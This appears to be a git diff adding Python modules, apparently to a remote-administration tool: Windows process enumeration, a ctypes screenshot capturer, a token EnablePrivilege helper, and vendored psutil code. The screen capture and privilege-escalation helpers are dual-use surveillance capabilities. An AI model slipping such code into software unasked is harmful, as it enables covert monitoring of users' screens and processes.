proclist=[]
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['username', 'pid', 'name', 'exe', 'cmdline', 'status'])
pinfo['arch']=("x64" if is_process_64(int(pinfo['pid'])) else "x32")
proclist.append(pinfo)
except psutil.NoSuchProcess:
pass
return proclist
if __name__ == '__main__':
for dic in enum_processes():
print dic

View File

@ -0,0 +1,145 @@
#code from http://tiger-222.fr/?d=2013/08/05/21/35/31-windows-capture-decran
from ctypes import (
byref, memset, pointer, sizeof, windll,
c_void_p as LPRECT,
c_void_p as LPVOID,
create_string_buffer,
Structure,
POINTER,
WINFUNCTYPE,
)
import ctypes.wintypes
from ctypes.wintypes import (
BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ,
HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD
)
class BITMAPINFOHEADER(Structure):
_fields_ = [
('biSize', DWORD),
('biWidth', LONG),
('biHeight', LONG),
('biPlanes', WORD),
('biBitCount', WORD),
('biCompression', DWORD),
('biSizeImage', DWORD),
('biXPelsPerMeter', LONG),
('biYPelsPerMeter', LONG),
('biClrUsed', DWORD),
('biClrImportant', DWORD)
]
class BITMAPINFO(Structure):
_fields_ = [
('bmiHeader', BITMAPINFOHEADER),
('bmiColors', DWORD * 3)
]
# Initilisations
SM_XVIRTUALSCREEN = 76 # Coordonnée gauche *
SM_YVIRTUALSCREEN = 77 # Coordonnée haute *
SM_CXVIRTUALSCREEN = 78 # Largeur *
SM_CYVIRTUALSCREEN = 79 # Hauteur *
SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()
DIB_RGB_COLORS = 0
GetSystemMetrics = windll.user32.GetSystemMetrics
EnumDisplayMonitors = windll.user32.EnumDisplayMonitors
GetWindowDC = windll.user32.GetWindowDC
CreateCompatibleDC = windll.gdi32.CreateCompatibleDC
CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap
SelectObject = windll.gdi32.SelectObject
BitBlt = windll.gdi32.BitBlt
GetDIBits = windll.gdi32.GetDIBits
DeleteObject = windll.gdi32.DeleteObject
# Type des arguments
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,
POINTER(RECT), DOUBLE)
GetSystemMetrics.argtypes = [INT]
EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM]
GetWindowDC.argtypes = [HWND]
CreateCompatibleDC.argtypes = [HDC]
CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
SelectObject.argtypes = [HDC, HGDIOBJ]
BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD]
DeleteObject.argtypes = [HGDIOBJ]
GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID,
POINTER(BITMAPINFO), UINT]
# Type de fonction
GetSystemMetrics.restypes = INT
EnumDisplayMonitors.restypes = BOOL
GetWindowDC.restypes = HDC
CreateCompatibleDC.restypes = HDC
CreateCompatibleBitmap.restypes = HBITMAP
SelectObject.restypes = HGDIOBJ
BitBlt.restypes = BOOL
GetDIBits.restypes = INT
DeleteObject.restypes = BOOL
def enum_display_monitors(oneshot=False):
def _callback(monitor, dc, rect, data):
rct = rect.contents
results.append({
b'left' : int(rct.left),
b'top' : int(rct.top),
b'width' : int(rct.right - rct.left),
b'height': int(rct.bottom -rct.top)
})
return 1
results = []
if oneshot:
left = GetSystemMetrics(SM_XVIRTUALSCREEN)
right = GetSystemMetrics(SM_CXVIRTUALSCREEN)
top = GetSystemMetrics(SM_YVIRTUALSCREEN)
bottom = GetSystemMetrics(SM_CYVIRTUALSCREEN)
results.append({
b'left' : int(left),
b'top' : int(top),
b'width' : int(right - left),
b'height': int(bottom - top)
})
else:
callback = MONITORENUMPROC(_callback)
EnumDisplayMonitors(0, 0, callback, 0)
return results
def get_pixels(monitor):
width, height = monitor['width'], monitor['height']
left, top = monitor['left'], monitor['top']
srcdc = GetWindowDC(0)
memdc = CreateCompatibleDC(srcdc)
bmp = CreateCompatibleBitmap(srcdc, width, height)
try:
SelectObject(memdc, bmp)
BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY)
bmi = BITMAPINFO()
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
bmi.bmiHeader.biWidth = width
bmi.bmiHeader.biHeight = height
bmi.bmiHeader.biBitCount = 24
bmi.bmiHeader.biPlanes = 1
buffer_len = height * ((width * 3 + 3) & -4)
pixels = create_string_buffer(buffer_len)
bits = GetDIBits(memdc, bmp, 0, height, byref(pixels),
pointer(bmi), DIB_RGB_COLORS)
finally:
DeleteObject(srcdc)
DeleteObject(memdc)
DeleteObject(bmp)
if bits != height or len(pixels.raw) != buffer_len:
raise ValueError('MSSWindows: GetDIBits() failed.')
return pixels.raw

View File

@ -0,0 +1,70 @@
# -*- coding: UTF8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from ctypes import *
LPVOID = c_void_p
HANDLE = LPVOID
INVALID_HANDLE_VALUE = c_void_p(-1).value
DWORD = c_uint32
LONG= c_long
class LUID(Structure):
_fields_ = [
("LowPart", DWORD),
("HighPart", LONG),
]
class LUID_AND_ATTRIBUTES(Structure):
_fields_ = [
("Luid", LUID),
("Attributes", DWORD),
]
class TOKEN_PRIVILEGES(Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
def EnablePrivilege(privilegeStr, hToken = None):
"""Enable Privilege on token, if no token is given the function gets the token of the current process."""
close=False
if hToken == None:
close=True
TOKEN_ADJUST_PRIVILEGES = 0x00000020
TOKEN_QUERY = 0x0008
hToken = HANDLE(INVALID_HANDLE_VALUE)
res=windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) )
privilege_id = LUID()
res=windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
SE_PRIVILEGE_ENABLED = 0x00000002
laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
tp = TOKEN_PRIVILEGES(1, laa)
ERROR_NOT_ALL_ASSIGNED=1300
res=windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)
if not res:
raise WinError()
else:
res=windll.kernel32.GetLastError()
if res!=0:
raise WinError()
if close:
windll.kernel32.CloseHandle(hToken)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,246 @@
# /usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Common objects shared by all _ps* modules."""
from __future__ import division
import errno
import functools
import os
import socket
import stat
import sys
from collections import namedtuple
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
try:
import threading
except ImportError:
import dummy_threading as threading
if sys.version_info >= (3, 4):
import enum
else:
enum = None
# --- constants
AF_INET6 = getattr(socket, 'AF_INET6', None)
AF_UNIX = getattr(socket, 'AF_UNIX', None)
STATUS_RUNNING = "running"
STATUS_SLEEPING = "sleeping"
STATUS_DISK_SLEEP = "disk-sleep"
STATUS_STOPPED = "stopped"
STATUS_TRACING_STOP = "tracing-stop"
STATUS_ZOMBIE = "zombie"
STATUS_DEAD = "dead"
STATUS_WAKE_KILL = "wake-kill"
STATUS_WAKING = "waking"
STATUS_IDLE = "idle" # BSD
STATUS_LOCKED = "locked" # BSD
STATUS_WAITING = "waiting" # BSD
CONN_ESTABLISHED = "ESTABLISHED"
CONN_SYN_SENT = "SYN_SENT"
CONN_SYN_RECV = "SYN_RECV"
CONN_FIN_WAIT1 = "FIN_WAIT1"
CONN_FIN_WAIT2 = "FIN_WAIT2"
CONN_TIME_WAIT = "TIME_WAIT"
CONN_CLOSE = "CLOSE"
CONN_CLOSE_WAIT = "CLOSE_WAIT"
CONN_LAST_ACK = "LAST_ACK"
CONN_LISTEN = "LISTEN"
CONN_CLOSING = "CLOSING"
CONN_NONE = "NONE"
if enum is None:
NIC_DUPLEX_FULL = 2
NIC_DUPLEX_HALF = 1
NIC_DUPLEX_UNKNOWN = 0
else:
class NicDuplex(enum.IntEnum):
NIC_DUPLEX_FULL = 2
NIC_DUPLEX_HALF = 1
NIC_DUPLEX_UNKNOWN = 0
globals().update(NicDuplex.__members__)
# --- functions
def usage_percent(used, total, _round=None):
"""Calculate percentage usage of 'used' against 'total'."""
try:
ret = (used / total) * 100
except ZeroDivisionError:
ret = 0
if _round is not None:
return round(ret, _round)
else:
return ret
def memoize(fun):
"""A simple memoize decorator for functions supporting (hashable)
positional arguments.
It also provides a cache_clear() function for clearing the cache:
>>> @memoize
... def foo()
... return 1
...
>>> foo()
1
>>> foo.cache_clear()
>>>
"""
@functools.wraps(fun)
def wrapper(*args, **kwargs):
key = (args, frozenset(sorted(kwargs.items())))
lock.acquire()
try:
try:
return cache[key]
except KeyError:
ret = cache[key] = fun(*args, **kwargs)
finally:
lock.release()
return ret
def cache_clear():
"""Clear cache."""
lock.acquire()
try:
cache.clear()
finally:
lock.release()
lock = threading.RLock()
cache = {}
wrapper.cache_clear = cache_clear
return wrapper
def isfile_strict(path):
"""Same as os.path.isfile() but does not swallow EACCES / EPERM
exceptions, see:
http://mail.python.org/pipermail/python-dev/2012-June/120787.html
"""
try:
st = os.stat(path)
except OSError as err:
if err.errno in (errno.EPERM, errno.EACCES):
raise
return False
else:
return stat.S_ISREG(st.st_mode)
def sockfam_to_enum(num):
"""Convert a numeric socket family value to an IntEnum member.
If it's not a known member, return the numeric value itself.
"""
if enum is None:
return num
try:
return socket.AddressFamily(num)
except (ValueError, AttributeError):
return num
def socktype_to_enum(num):
"""Convert a numeric socket type value to an IntEnum member.
If it's not a known member, return the numeric value itself.
"""
if enum is None:
return num
try:
return socket.AddressType(num)
except (ValueError, AttributeError):
return num
# --- Process.connections() 'kind' parameter mapping
conn_tmap = {
"all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
"tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]),
"tcp4": ([AF_INET], [SOCK_STREAM]),
"udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]),
"udp4": ([AF_INET], [SOCK_DGRAM]),
"inet": ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
"inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]),
"inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
}
if AF_INET6 is not None:
conn_tmap.update({
"tcp6": ([AF_INET6], [SOCK_STREAM]),
"udp6": ([AF_INET6], [SOCK_DGRAM]),
})
if AF_UNIX is not None:
conn_tmap.update({
"unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
})
del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM
# --- namedtuples for psutil.* system-related functions
# psutil.swap_memory()
sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin',
'sout'])
# psutil.disk_usage()
sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent'])
# psutil.disk_io_counters()
sdiskio = namedtuple('sdiskio', ['read_count', 'write_count',
'read_bytes', 'write_bytes',
'read_time', 'write_time'])
# psutil.disk_partitions()
sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts'])
# psutil.net_io_counters()
snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv',
'packets_sent', 'packets_recv',
'errin', 'errout',
'dropin', 'dropout'])
# psutil.users()
suser = namedtuple('suser', ['name', 'terminal', 'host', 'started'])
# psutil.net_connections()
sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr',
'status', 'pid'])
# psutil.net_if_addrs()
snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp'])
# psutil.net_if_stats()
snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu'])
# --- namedtuples for psutil.Process methods
# psutil.Process.memory_info()
pmem = namedtuple('pmem', ['rss', 'vms'])
# psutil.Process.cpu_times()
pcputimes = namedtuple('pcputimes', ['user', 'system'])
# psutil.Process.open_files()
popenfile = namedtuple('popenfile', ['path', 'fd'])
# psutil.Process.threads()
pthread = namedtuple('pthread', ['id', 'user_time', 'system_time'])
# psutil.Process.uids()
puids = namedtuple('puids', ['real', 'effective', 'saved'])
# psutil.Process.gids()
pgids = namedtuple('pgids', ['real', 'effective', 'saved'])
# psutil.Process.io_counters()
pio = namedtuple('pio', ['read_count', 'write_count',
'read_bytes', 'write_bytes'])
# psutil.Process.ionice()
pionice = namedtuple('pionice', ['ioclass', 'value'])
# psutil.Process.ctx_switches()
pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary'])
# psutil.Process.connections()
pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr',
'status'])

View File

@ -0,0 +1,189 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Module which provides compatibility with older Python versions."""
import collections
import functools
import sys
__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"]
PY3 = sys.version_info[0] == 3
if PY3:
long = int
xrange = range
unicode = str
def u(s):
return s
else:
long = long
xrange = xrange
unicode = unicode
def u(s):
return unicode(s, "unicode_escape")
# removed in 3.0, reintroduced in 3.2
try:
callable = callable
except NameError:
def callable(obj):
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
# --- stdlib additions
# py 3.2 functools.lru_cache
# Taken from: http://code.activestate.com/recipes/578078
# Credit: Raymond Hettinger
try:
from functools import lru_cache
except ImportError:
try:
from threading import RLock
except ImportError:
from dummy_threading import RLock
_CacheInfo = collections.namedtuple(
"CacheInfo", ["hits", "misses", "maxsize", "currsize"])
class _HashedSeq(list):
__slots__ = 'hashvalue'
def __init__(self, tup, hash=hash):
self[:] = tup
self.hashvalue = hash(tup)
def __hash__(self):
return self.hashvalue
def _make_key(args, kwds, typed,
kwd_mark=(object(), ),
fasttypes=set((int, str, frozenset, type(None))),
sorted=sorted, tuple=tuple, type=type, len=len):
key = args
if kwds:
sorted_items = sorted(kwds.items())
key += kwd_mark
for item in sorted_items:
key += item
if typed:
key += tuple(type(v) for v in args)
if kwds:
key += tuple(type(v) for k, v in sorted_items)
elif len(key) == 1 and type(key[0]) in fasttypes:
return key[0]
return _HashedSeq(key)
def lru_cache(maxsize=100, typed=False):
"""Least-recently-used cache decorator, see:
http://docs.python.org/3/library/functools.html#functools.lru_cache
"""
def decorating_function(user_function):
cache = dict()
stats = [0, 0]
HITS, MISSES = 0, 1
make_key = _make_key
cache_get = cache.get
_len = len
lock = RLock()
root = []
root[:] = [root, root, None, None]
nonlocal_root = [root]
PREV, NEXT, KEY, RESULT = 0, 1, 2, 3
if maxsize == 0:
def wrapper(*args, **kwds):
result = user_function(*args, **kwds)
stats[MISSES] += 1
return result
elif maxsize is None:
def wrapper(*args, **kwds):
key = make_key(args, kwds, typed)
result = cache_get(key, root)
if result is not root:
stats[HITS] += 1
return result
result = user_function(*args, **kwds)
cache[key] = result
stats[MISSES] += 1
return result
else:
def wrapper(*args, **kwds):
if kwds or typed:
key = make_key(args, kwds, typed)
else:
key = args
lock.acquire()
try:
link = cache_get(key)
if link is not None:
root, = nonlocal_root
link_prev, link_next, key, result = link
link_prev[NEXT] = link_next
link_next[PREV] = link_prev
last = root[PREV]
last[NEXT] = root[PREV] = link
link[PREV] = last
link[NEXT] = root
stats[HITS] += 1
return result
finally:
lock.release()
result = user_function(*args, **kwds)
lock.acquire()
try:
root, = nonlocal_root
if key in cache:
pass
elif _len(cache) >= maxsize:
oldroot = root
oldroot[KEY] = key
oldroot[RESULT] = result
root = nonlocal_root[0] = oldroot[NEXT]
oldkey = root[KEY]
root[KEY] = root[RESULT] = None
del cache[oldkey]
cache[key] = oldroot
else:
last = root[PREV]
link = [last, root, key, result]
last[NEXT] = root[PREV] = cache[key] = link
stats[MISSES] += 1
finally:
lock.release()
return result
def cache_info():
"""Report cache statistics"""
lock.acquire()
try:
return _CacheInfo(stats[HITS], stats[MISSES], maxsize,
len(cache))
finally:
lock.release()
def cache_clear():
"""Clear the cache and cache statistics"""
lock.acquire()
try:
cache.clear()
root = nonlocal_root[0]
root[:] = [root, root, None, None]
stats[:] = [0, 0]
finally:
lock.release()
wrapper.__wrapped__ = user_function
wrapper.cache_info = cache_info
wrapper.cache_clear = cache_clear
return functools.update_wrapper(wrapper, user_function)
return decorating_function

View File

@ -0,0 +1,455 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""FreeBSD platform implementation."""
import errno
import functools
import os
import xml.etree.ElementTree as ET
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_bsd as cext
from . import _psutil_posix as cext_posix
from ._common import conn_tmap, usage_percent, sockfam_to_enum
from ._common import socktype_to_enum
__extra__all__ = []
# --- constants
PROC_STATUSES = {
cext.SSTOP: _common.STATUS_STOPPED,
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SRUN: _common.STATUS_RUNNING,
cext.SIDL: _common.STATUS_IDLE,
cext.SWAIT: _common.STATUS_WAITING,
cext.SLOCK: _common.STATUS_LOCKED,
cext.SZOMB: _common.STATUS_ZOMBIE,
}
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
AF_LINK = cext_posix.AF_LINK
# extend base mem ntuple with BSD-specific memory metrics
svmem = namedtuple(
'svmem', ['total', 'available', 'percent', 'used', 'free',
'active', 'inactive', 'buffers', 'cached', 'shared', 'wired'])
scputimes = namedtuple(
'scputimes', ['user', 'nice', 'system', 'idle', 'irq'])
pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack'])
pmmap_grouped = namedtuple(
'pmmap_grouped', 'path rss, private, ref_count, shadow_count')
pmmap_ext = namedtuple(
'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count')
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
def virtual_memory():
"""System virtual memory as a namedtuple."""
mem = cext.virtual_mem()
total, free, active, inactive, wired, cached, buffers, shared = mem
avail = inactive + cached + free
used = active + wired + cached
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free,
active, inactive, buffers, cached, shared, wired)
def swap_memory():
"""System swap memory as (total, used, free, sin, sout) namedtuple."""
total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()]
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, sin, sout)
def cpu_times():
"""Return system per-CPU times as a namedtuple"""
user, nice, system, idle, irq = cext.cpu_times()
return scputimes(user, nice, system, idle, irq)
if hasattr(cext, "per_cpu_times"):
def per_cpu_times():
"""Return system CPU times as a namedtuple"""
ret = []
for cpu_t in cext.per_cpu_times():
user, nice, system, idle, irq = cpu_t
item = scputimes(user, nice, system, idle, irq)
ret.append(item)
return ret
else:
# XXX
# Ok, this is very dirty.
# On FreeBSD < 8 we cannot gather per-cpu information, see:
# https://github.com/giampaolo/psutil/issues/226
# If num cpus > 1, on first call we return single cpu times to avoid a
# crash at psutil import time.
# Next calls will fail with NotImplementedError
def per_cpu_times():
if cpu_count_logical() == 1:
return [cpu_times()]
if per_cpu_times.__called__:
raise NotImplementedError("supported only starting from FreeBSD 8")
per_cpu_times.__called__ = True
return [cpu_times()]
per_cpu_times.__called__ = False
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
# From the C module we'll get an XML string similar to this:
# http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html
# We may get None in case "sysctl kern.sched.topology_spec"
# is not supported on this BSD version, in which case we'll mimic
# os.cpu_count() and return None.
ret = None
s = cext.cpu_count_phys()
if s is not None:
# get rid of padding chars appended at the end of the string
index = s.rfind("</groups>")
if index != -1:
s = s[:index + 9]
root = ET.fromstring(s)
try:
ret = len(root.findall('group/children/group/cpu')) or None
finally:
# needed otherwise it will memleak
root.clear()
if not ret:
# If logical CPUs are 1 it's obvious we'll have only 1
# physical CPU.
if cpu_count_logical() == 1:
return 1
return ret
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def disk_partitions(all=False):
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
if not os.path.isabs(device) or not os.path.exists(device):
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def users():
retlist = []
rawlist = cext.users()
for item in rawlist:
user, tty, hostname, tstamp = item
if tty == '~':
continue # reboot or shutdown
nt = _common.suser(user, tty or None, hostname, tstamp)
retlist.append(nt)
return retlist
def net_connections(kind):
if kind not in _common.conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
ret = set()
rawlist = cext.net_connections()
for item in rawlist:
fd, fam, type, laddr, raddr, status, pid = item
# TODO: apply filter at C level
if fam in families and type in types:
try:
status = TCP_STATUSES[status]
except KeyError:
# XXX: Not sure why this happens. I saw this occurring
# with IPv6 sockets opened by 'vim'. Those sockets
# have a very short lifetime so maybe the kernel
# can't initialize their status?
status = TCP_STATUSES[cext.PSUTIL_CONN_NONE]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
ret.add(nt)
return list(ret)
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
names = net_io_counters().keys()
ret = {}
for name in names:
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
pids = cext.pids
pid_exists = _psposix.pid_exists
disk_usage = _psposix.disk_usage
net_io_counters = cext.net_io_counters
disk_io_counters = cext.disk_io_counters
net_if_addrs = cext_posix.net_if_addrs
def wrap_exceptions(fun):
"""Decorator which translates bare OSError exceptions into
NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
if err.errno == errno.ESRCH:
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
return cext.proc_name(self.pid)
@wrap_exceptions
def exe(self):
return cext.proc_exe(self.pid)
@wrap_exceptions
def cmdline(self):
return cext.proc_cmdline(self.pid)
@wrap_exceptions
def terminal(self):
tty_nr = cext.proc_tty_nr(self.pid)
tmap = _psposix._get_terminal_map()
try:
return tmap[tty_nr]
except KeyError:
return None
@wrap_exceptions
def ppid(self):
return cext.proc_ppid(self.pid)
@wrap_exceptions
def uids(self):
real, effective, saved = cext.proc_uids(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
real, effective, saved = cext.proc_gids(self.pid)
return _common.pgids(real, effective, saved)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
return _common.pcputimes(user, system)
@wrap_exceptions
def memory_info(self):
rss, vms = cext.proc_memory_info(self.pid)[:2]
return _common.pmem(rss, vms)
@wrap_exceptions
def memory_info_ex(self):
return pextmem(*cext.proc_memory_info(self.pid))
@wrap_exceptions
def create_time(self):
return cext.proc_create_time(self.pid)
@wrap_exceptions
def num_threads(self):
return cext.proc_num_threads(self.pid)
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def connections(self, kind='inet'):
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.proc_connections(self.pid, families, types)
ret = []
for item in rawlist:
fd, fam, type, laddr, raddr, status = item
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
status = TCP_STATUSES[status]
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.append(nt)
return ret
@wrap_exceptions
def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)
@wrap_exceptions
def nice_get(self):
return cext_posix.getpriority(self.pid)
@wrap_exceptions
def nice_set(self, value):
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def status(self):
code = cext.proc_status(self.pid)
if code in PROC_STATUSES:
return PROC_STATUSES[code]
# XXX is this legit? will we even ever get here?
return "?"
@wrap_exceptions
def io_counters(self):
rc, wc, rb, wb = cext.proc_io_counters(self.pid)
return _common.pio(rc, wc, rb, wb)
nt_mmap_grouped = namedtuple(
'mmap', 'path rss, private, ref_count, shadow_count')
nt_mmap_ext = namedtuple(
'mmap', 'addr, perms path rss, private, ref_count, shadow_count')
# FreeBSD < 8 does not support functions based on kinfo_getfile()
# and kinfo_getvmmap()
if hasattr(cext, 'proc_open_files'):
@wrap_exceptions
def open_files(self):
"""Return files opened by process as a list of namedtuples."""
rawlist = cext.proc_open_files(self.pid)
return [_common.popenfile(path, fd) for path, fd in rawlist]
@wrap_exceptions
def cwd(self):
"""Return process current working directory."""
# sometimes we get an empty string, in which case we turn
# it into None
return cext.proc_cwd(self.pid) or None
@wrap_exceptions
def memory_maps(self):
return cext.proc_memory_maps(self.pid)
@wrap_exceptions
def num_fds(self):
"""Return the number of file descriptors opened by this process."""
return cext.proc_num_fds(self.pid)
else:
def _not_implemented(self):
raise NotImplementedError("supported only starting from FreeBSD 8")
open_files = _not_implemented
proc_cwd = _not_implemented
memory_maps = _not_implemented
num_fds = _not_implemented
@wrap_exceptions
def cpu_affinity_get(self):
return cext.proc_cpu_affinity_get(self.pid)
@wrap_exceptions
def cpu_affinity_set(self, cpus):
# Pre-emptively check if CPUs are valid because the C
# function has a weird behavior in case of invalid CPUs,
# see: https://github.com/giampaolo/psutil/issues/586
allcpus = tuple(range(len(per_cpu_times())))
for cpu in cpus:
if cpu not in allcpus:
raise ValueError("invalid CPU #%i (choose between %s)"
% (cpu, allcpus))
try:
cext.proc_cpu_affinity_set(self.pid, cpus)
except OSError as err:
# 'man cpuset_setaffinity' about EDEADLK:
# <<the call would leave a thread without a valid CPU to run
# on because the set does not overlap with the thread's
# anonymous mask>>
if err.errno in (errno.EINVAL, errno.EDEADLK):
for cpu in cpus:
if cpu not in allcpus:
raise ValueError("invalid CPU #%i (choose between %s)"
% (cpu, allcpus))
raise

